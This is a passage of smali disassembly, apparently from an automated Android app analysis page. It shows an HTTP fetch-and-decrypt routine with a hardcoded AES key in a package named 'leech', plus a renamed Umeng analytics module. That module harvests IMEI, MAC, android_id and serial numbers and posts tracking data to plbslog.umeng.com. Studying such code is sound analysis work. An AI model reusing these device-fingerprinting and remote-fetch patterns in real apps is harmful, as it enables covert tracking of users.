                                                                              74move-result-object v13
                                                                              76invoke-direct {v12, v13}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              78invoke-direct {v6, v12}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              79goto_6a:
                                                                              80invoke-virtual {v6}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              81move-result-object v5
                                                                              82if-eqz v5, :cond_82
                                                                              83new-instance v12, Ljava/lang/StringBuilder;
                                                                              85invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                                              87invoke-virtual {v12, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              88move-result-object v12
                                                                              90invoke-virtual {v12, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              91move-result-object v12
                                                                              93invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              94try_end_80: move-result-object v7
                                                                              95goto/16 :goto_6a
                                                                              96cond_82: if-eqz v4, :cond_87
                                                                              97try_start_84:
                                                                              98invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              99goto_87: if-eqz v10, :cond_8c
                                                                              100try_start_89:
                                                                              101invoke-virtual {v10}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              102cond_8c:
                                                                              103const-string v12, "afb9d69588be0116"
                                                                              105invoke-static {v12, v7}, Lcom/android/leech/base/util/AESUtil;->decrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              106move-result-object v7
                                                                              107return-object v7
                                                                              108cond_93: if-eqz v4, :cond_98
                                                                              109try_start_95:
                                                                              110invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              111cond_98: if-eqz v10, :cond_9d
                                                                              112try_start_9a:
                                                                              113invoke-virtual {v10}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              114cond_9d: const-wide/16 v12, 0x3a98
                                                                              115try_start_9f:
                                                                              116invoke-static {v12, v13}, Ljava/lang/Thread;->sleep(J)V
                                                                              117goto_a2: add-int/lit8 v3, v3, 0x1
                                                                              118goto/16 :goto_5
                                                                              119catch_a6: move-exception v1
                                                                              120try_start_a7:
                                                                              121const-string v12, "ad_others"
                                                                              123const-string v13, "HttpUtil|request"
                                                                              125invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                                                              126move-result-object v14
                                                                              128invoke-static {v12, v13, v14}, Lcom/gd/AnalyticsManager;->sendCustomEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              129try_end_b2: if-eqz v4, :cond_b7
                                                                              130try_start_b4:
                                                                              131invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              132cond_b7: if-eqz v10, :cond_9d
                                                                              133try_start_b9:
                                                                              134invoke-virtual {v10}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              135try_end_bc: goto/16 :goto_9d
                                                                              136catch_bd: move-exception v1
                                                                              138const-string v12, "ad_others"
                                                                              140const-string v13, "HttpUtil|request"
                                                                              142invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                                                              143move-result-object v14
                                                                              145invoke-static {v12, v13, v14}, Lcom/gd/AnalyticsManager;->sendCustomEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              146goto/16 :goto_8c
                                                                              147catchall_ca: move-exception v12
                                                                              148if-eqz v4, :cond_d0
                                                                              149try_start_cd:
                                                                              150invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              151cond_d0: if-eqz v10, :cond_d5
                                                                              152try_start_d2:
                                                                              153invoke-virtual {v10}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              154cond_d5: throw v12
                                                                              155catch_d6: move-exception v12
                                                                              156goto/16 :goto_87
                                                                              157catch_d8: move-exception v12
                                                                              158goto/16 :goto_98
                                                                              159catch_da: move-exception v12
                                                                              160goto/16 :goto_b7
                                                                              161catch_dc: move-exception v13
                                                                              162goto/16 :goto_d0
                                                                              163catch_de: move-exception v12
                                                                              164goto/16 :goto_a2
                                                                              Cross References
                                                                              APIs
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • No IMEI.
                                                                              • android_id
                                                                              • getDeviceId, ANDROID_ID:
                                                                              • getDeviceId, MAC:
                                                                              Position Instruction Meta Information
                                                                              0const/16 v1, 0x17
                                                                              1const/4 v6, 0x1
                                                                              2const/4 v5, 0x0
                                                                              4const-string v0, ""
                                                                              5if-nez p0, :cond_9
                                                                              6goto_8: return-object v0
                                                                              7cond_9: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              8if-ge v0, v1, :cond_65
                                                                              10invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              11move-result-object v0
                                                                              13invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              14move-result v1
                                                                              15if-eqz v1, :cond_8
                                                                              16sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              17if-eqz v0, :cond_26
                                                                              19sget-object v0, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              20new-array v1, v6, [Ljava/lang/Object;
                                                                              22const-string v2, "No IMEI."
                                                                              23aput-object v2, v1, v5
                                                                              25invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/MLog;->w(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              26cond_26:
                                                                              27invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              28move-result-object v0
                                                                              30invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              31move-result v1
                                                                              32if-eqz v1, :cond_8
                                                                              34invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              35move-result-object v0
                                                                              37const-string v1, "android_id"
                                                                              39invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              40move-result-object v0
                                                                              41sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              42if-eqz v1, :cond_5a
                                                                              44sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              45new-array v2, v6, [Ljava/lang/Object;
                                                                              46new-instance v3, Ljava/lang/StringBuilder;
                                                                              48invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              50const-string v4, "getDeviceId, ANDROID_ID: "
                                                                              52invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              53move-result-object v3
                                                                              55invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              56move-result-object v3
                                                                              58invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              59move-result-object v3
                                                                              60aput-object v3, v2, v5
                                                                              62invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              63cond_5a:
                                                                              64invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              65move-result v1
                                                                              66if-eqz v1, :cond_8
                                                                              68invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              69move-result-object v0
                                                                              70goto/16 :goto_8
                                                                              71cond_65: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              72if-ne v0, v1, :cond_e6
                                                                              74invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              75move-result-object v0
                                                                              77invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              78move-result v1
                                                                              79if-eqz v1, :cond_8
                                                                              81invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacByJavaAPI()Ljava/lang/String;
                                                                              82move-result-object v0
                                                                              84invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              85move-result v1
                                                                              86if-eqz v1, :cond_85
                                                                              87sget-boolean v0, LuAgent/commonsdk/statistics/AnalyticsConstants;->CHECK_DEVICE:Z
                                                                              88if-eqz v0, :cond_e1
                                                                              90invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacShell()Ljava/lang/String;
                                                                              91move-result-object v0
                                                                              92goto_85: sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              93if-eqz v1, :cond_a5
                                                                              95sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              96new-array v2, v6, [Ljava/lang/Object;
                                                                              97new-instance v3, Ljava/lang/StringBuilder;
                                                                              99invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              101const-string v4, "getDeviceId, MAC: "
                                                                              103invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              104move-result-object v3
                                                                              106invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              107move-result-object v3
                                                                              109invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              110move-result-object v3
                                                                              111aput-object v3, v2, v5
                                                                              113invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              114cond_a5:
                                                                              115invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              116move-result v1
                                                                              117if-eqz v1, :cond_8
                                                                              119invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              120move-result-object v0
                                                                              122const-string v1, "android_id"
                                                                              124invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              125move-result-object v0
                                                                              126sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              127if-eqz v1, :cond_d5
                                                                              129sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              131new-instance v3, Ljava/lang/StringBuilder;
                                                                              133invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              135const-string v4, "getDeviceId, ANDROID_ID: "
                                                                              137invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              138move-result-object v3
                                                                              140invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              141move-result-object v3
                                                                              143invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              144move-result-object v3
                                                                              145aput-object v3, v2, v5
                                                                              147invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              148cond_d5:
                                                                              149invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              150move-result v1
                                                                              151if-eqz v1, :cond_8
                                                                              153invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              154move-result-object v0
                                                                              155goto/16 :goto_8
                                                                              156cond_e1:
                                                                              157invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              158move-result-object v0
                                                                              159goto/16 :goto_85
                                                                              160cond_e6:
                                                                              161invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getIMEI(Landroid/content/Context;)Ljava/lang/String;
                                                                              162move-result-object v0
                                                                              164invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              165move-result v1
                                                                              166if-eqz v1, :cond_8
                                                                              168invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getSerialNo()Ljava/lang/String;
                                                                              169move-result-object v0
                                                                              171invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              172move-result v1
                                                                              173if-eqz v1, :cond_8
                                                                              175invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              176move-result-object v0
                                                                              178const-string v1, "android_id"
                                                                              180invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              181move-result-object v0
                                                                              182sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              183if-eqz v1, :cond_124
                                                                              185sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              186new-array v2, v6, [Ljava/lang/Object;
                                                                              187new-instance v3, Ljava/lang/StringBuilder;
                                                                              189invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              191const-string v4, "getDeviceId, ANDROID_ID: "
                                                                              193invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              194move-result-object v3
                                                                              196invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              197move-result-object v3
                                                                              199invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              200move-result-object v3
                                                                              201aput-object v3, v2, v5
                                                                              203invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              204cond_124:
                                                                              205invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              206move-result v1
                                                                              207if-eqz v1, :cond_8
                                                                              209invoke-static {}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacByJavaAPI()Ljava/lang/String;
                                                                              210move-result-object v0
                                                                              212invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              213move-result v1
                                                                              214if-eqz v1, :cond_8
                                                                              216invoke-static {p0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->getMacBySystemInterface(Landroid/content/Context;)Ljava/lang/String;
                                                                              217move-result-object v0
                                                                              218sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              219if-eqz v1, :cond_8
                                                                              221sget-object v1, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              222new-array v2, v6, [Ljava/lang/Object;
                                                                              223new-instance v3, Ljava/lang/StringBuilder;
                                                                              225invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              227const-string v4, "getDeviceId, MAC: "
                                                                              229invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              230move-result-object v3
                                                                              232invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              233move-result-object v3
                                                                              235invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              236move-result-object v3
                                                                              237aput-object v3, v2, v5
                                                                              239invoke-static {v1, v2}, LuAgent/commonsdk/statistics/common/MLog;->i(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              240goto/16 :goto_8
                                                                              APIs
                                                                              Strings
                                                                              • _$!deep_link
                                                                              • _$!link
                                                                              • id
                                                                              • ts
                                                                              • du
                                                                              • $st_fl
                                                                              • _$!ts
                                                                              • _$!id
                                                                              • _$!du
                                                                              • _$!c
                                                                              • _$!sp
                                                                              • event_name
                                                                              • token
                                                                              • time
                                                                              • ip
                                                                              • country
                                                                              • region
                                                                              • city
                                                                              • browser
                                                                              • os
                                                                              • device_brand
                                                                              • device_version
                                                                              • device_type
                                                                              • screen_width
                                                                              • screen_height
                                                                              • referrer
                                                                              • referrer_domain
                                                                              • initial_referrer
                                                                              • initial_referrer_domain
                                                                              • initial_view_time
                                                                              • search_engine
                                                                              • keyword
                                                                              • ali_lib
                                                                              • utm_source
                                                                              • utm_medium
                                                                              • utm_term
                                                                              • utm_content
                                                                              • utm_campaign
                                                                              • date
                                                                              • hour
                                                                              • minute
                                                                              • app_version
                                                                              • sp
                                                                              • _$!s_b
                                                                              • _$!ts_b
                                                                              • _$!s_e
                                                                              • _$!ts_e
                                                                              • _$!pv_b
                                                                              Position Instruction Meta Information
                                                                              0const/4 v7, 0x4
                                                                              1const/4 v6, 0x3
                                                                              2const/4 v5, 0x2
                                                                              3const/4 v4, 0x1
                                                                              4const/4 v3, 0x0
                                                                              5new-array v0, v5, [Ljava/lang/String;
                                                                              7const-string v1, "_$!deep_link"
                                                                              8aput-object v1, v0, v3
                                                                              10const-string v1, "_$!link"
                                                                              11aput-object v1, v0, v4
                                                                              12sput-object v0, LuAgent/analytics/pro/b;->ar:[Ljava/lang/String;
                                                                              13new-array v0, v7, [Ljava/lang/String;
                                                                              15const-string v1, "id"
                                                                              16aput-object v1, v0, v3
                                                                              18const-string v1, "ts"
                                                                              19aput-object v1, v0, v4
                                                                              21const-string v1, "du"
                                                                              22aput-object v1, v0, v5
                                                                              24const-string v1, "$st_fl"
                                                                              25aput-object v1, v0, v6
                                                                              26sput-object v0, LuAgent/analytics/pro/b;->as:[Ljava/lang/String;
                                                                              27const/16 v0, 0x26
                                                                              28new-array v0, v0, [Ljava/lang/String;
                                                                              30const-string v1, "_$!ts"
                                                                              31aput-object v1, v0, v3
                                                                              33const-string v1, "_$!id"
                                                                              34aput-object v1, v0, v4
                                                                              36const-string v1, "_$!du"
                                                                              37aput-object v1, v0, v5
                                                                              39const-string v1, "_$!c"
                                                                              40aput-object v1, v0, v6
                                                                              42const-string v1, "$st_fl"
                                                                              43aput-object v1, v0, v7
                                                                              44const/4 v1, 0x5
                                                                              46const-string v2, "_$!sp"
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x6
                                                                              50const-string v2, "event_name"
                                                                              51aput-object v2, v0, v1
                                                                              52const/4 v1, 0x7
                                                                              54const-string v2, "token"
                                                                              55aput-object v2, v0, v1
                                                                              56const/16 v1, 0x8
                                                                              58const-string v2, "time"
                                                                              59aput-object v2, v0, v1
                                                                              60const/16 v1, 0x9
                                                                              62const-string v2, "ip"
                                                                              63aput-object v2, v0, v1
                                                                              64const/16 v1, 0xa
                                                                              66const-string v2, "country"
                                                                              67aput-object v2, v0, v1
                                                                              68const/16 v1, 0xb
                                                                              70const-string v2, "region"
                                                                              71aput-object v2, v0, v1
                                                                              72const/16 v1, 0xc
                                                                              74const-string v2, "city"
                                                                              75aput-object v2, v0, v1
                                                                              76const/16 v1, 0xd
                                                                              78const-string v2, "browser"
                                                                              79aput-object v2, v0, v1
                                                                              80const/16 v1, 0xe
                                                                              82const-string v2, "os"
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0xf
                                                                              86const-string v2, "device_brand"
                                                                              87aput-object v2, v0, v1
                                                                              88const/16 v1, 0x10
                                                                              90const-string v2, "device_version"
                                                                              91aput-object v2, v0, v1
                                                                              92const/16 v1, 0x11
                                                                              94const-string v2, "device_type"
                                                                              95aput-object v2, v0, v1
                                                                              96const/16 v1, 0x12
                                                                              98const-string v2, "screen_width"
                                                                              99aput-object v2, v0, v1
                                                                              100const/16 v1, 0x13
                                                                              102const-string v2, "screen_height"
                                                                              103aput-object v2, v0, v1
                                                                              104const/16 v1, 0x14
                                                                              106const-string v2, "referrer"
                                                                              107aput-object v2, v0, v1
                                                                              108const/16 v1, 0x15
                                                                              110const-string v2, "referrer_domain"
                                                                              111aput-object v2, v0, v1
                                                                              112const/16 v1, 0x16
                                                                              114const-string v2, "initial_referrer"
                                                                              115aput-object v2, v0, v1
                                                                              116const/16 v1, 0x17
                                                                              118const-string v2, "initial_referrer_domain"
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0x18
                                                                              122const-string v2, "initial_view_time"
                                                                              123aput-object v2, v0, v1
                                                                              124const/16 v1, 0x19
                                                                              126const-string v2, "search_engine"
                                                                              127aput-object v2, v0, v1
                                                                              128const/16 v1, 0x1a
                                                                              130const-string v2, "keyword"
                                                                              131aput-object v2, v0, v1
                                                                              132const/16 v1, 0x1b
                                                                              134const-string v2, "ali_lib"
                                                                              135aput-object v2, v0, v1
                                                                              136const/16 v1, 0x1c
                                                                              138const-string v2, "utm_source"
                                                                              139aput-object v2, v0, v1
                                                                              140const/16 v1, 0x1d
                                                                              142const-string v2, "utm_medium"
                                                                              143aput-object v2, v0, v1
                                                                              144const/16 v1, 0x1e
                                                                              146const-string v2, "utm_term"
                                                                              147aput-object v2, v0, v1
                                                                              148const/16 v1, 0x1f
                                                                              150const-string v2, "utm_content"
                                                                              151aput-object v2, v0, v1
                                                                              152const/16 v1, 0x20
                                                                              154const-string v2, "utm_campaign"
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x21
                                                                              158const-string v2, "date"
                                                                              159aput-object v2, v0, v1
                                                                              160const/16 v1, 0x22
                                                                              162const-string v2, "hour"
                                                                              163aput-object v2, v0, v1
                                                                              164const/16 v1, 0x23
                                                                              166const-string v2, "minute"
                                                                              167aput-object v2, v0, v1
                                                                              168const/16 v1, 0x24
                                                                              170const-string v2, "app_version"
                                                                              171aput-object v2, v0, v1
                                                                              172const/16 v1, 0x25
                                                                              174const-string v2, "sp"
                                                                              175aput-object v2, v0, v1
                                                                              176sput-object v0, LuAgent/analytics/pro/b;->at:[Ljava/lang/String;
                                                                              177const/4 v0, 0x7
                                                                              178new-array v0, v0, [Ljava/lang/String;
                                                                              180const-string v1, "_$!s_b"
                                                                              181aput-object v1, v0, v3
                                                                              183const-string v1, "_$!sp"
                                                                              184aput-object v1, v0, v4
                                                                              186const-string v1, "_$!ts_b"
                                                                              187aput-object v1, v0, v5
                                                                              189const-string v1, "_$!s_e"
                                                                              190aput-object v1, v0, v6
                                                                              192const-string v1, "_$!ts_e"
                                                                              193aput-object v1, v0, v7
                                                                              194const/4 v1, 0x5
                                                                              196const-string v2, "_$!pv_b"
                                                                              197aput-object v2, v0, v1
                                                                              198const/4 v1, 0x6
                                                                              200const-string v2, "_$!ts"
                                                                              201aput-object v2, v0, v1
                                                                              202sput-object v0, LuAgent/analytics/pro/b;->au:[Ljava/lang/String;
                                                                              203return-void
                                                                              APIs
                                                                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                                                                              • java.net.InetSocketAddress.<init>
                                                                              • java.net.Proxy.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.lang.System.currentTimeMillis
                                                                              • java.lang.String.valueOf
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.setDoInput
                                                                              • java.net.HttpURLConnection.setUseCaches
                                                                              • java.net.HttpURLConnection.getOutputStream
                                                                              • java.io.OutputStream.write
                                                                              • java.io.OutputStream.flush
                                                                              • java.net.HttpURLConnection.connect
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.io.OutputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.io.OutputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              Strings
                                                                              • https://plbslog.umeng.com/
                                                                              • X-Umeng-UTC
                                                                              • Msg-Type
                                                                              • envelope/json
                                                                              • POST
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1const/4 v3, 0x0
                                                                              2const/4 v1, 0x0
                                                                              3if-eqz p1, :cond_7
                                                                              4if-nez p2, :cond_a
                                                                              5cond_7: move v0, v1
                                                                              6goto_8: move v1, v0
                                                                              7goto_9: return v1
                                                                              8cond_a:
                                                                              9invoke-direct {p0}, LuAgent/commonsdk/stateless/e;->a()Z
                                                                              10move-result v0
                                                                              11if-eqz v0, :cond_8f
                                                                              12new-instance v0, Ljava/net/Proxy;
                                                                              14sget-object v4, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
                                                                              15new-instance v5, Ljava/net/InetSocketAddress;
                                                                              17iget-object v6, p0, LuAgent/commonsdk/stateless/e;->a:Ljava/lang/String;
                                                                              18iget v7, p0, LuAgent/commonsdk/stateless/e;->b:I
                                                                              20invoke-direct {v5, v6, v7}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                                                                              22invoke-direct {v0, v4, v5}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                                                                              23new-instance v4, Ljava/net/URL;
                                                                              24new-instance v5, Ljava/lang/StringBuilder;
                                                                              26invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                                              28const-string v6, "https://plbslog.umeng.com/"
                                                                              30invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              31move-result-object v5
                                                                              33invoke-virtual {v5, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              34move-result-object v5
                                                                              36invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              37move-result-object v5
                                                                              39invoke-direct {v4, v5}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              41invoke-virtual {v4, v0}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                                                                              42move-result-object v0
                                                                              43check-cast v0, Ljava/net/HttpURLConnection;
                                                                              44try_start_3e:
                                                                              45const-string v4, "X-Umeng-UTC"
                                                                              47invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                                                              48move-result-wide v5
                                                                              50invoke-static {v5, v6}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                                                              51move-result-object v5
                                                                              53invoke-virtual {v0, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              55const-string v4, "Msg-Type"
                                                                              57const-string v5, "envelope/json"
                                                                              59invoke-virtual {v0, v4, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              60const/16 v4, 0x7530
                                                                              62invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              63const/16 v4, 0x7530
                                                                              65invoke-virtual {v0, v4}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              67const-string v4, "POST"
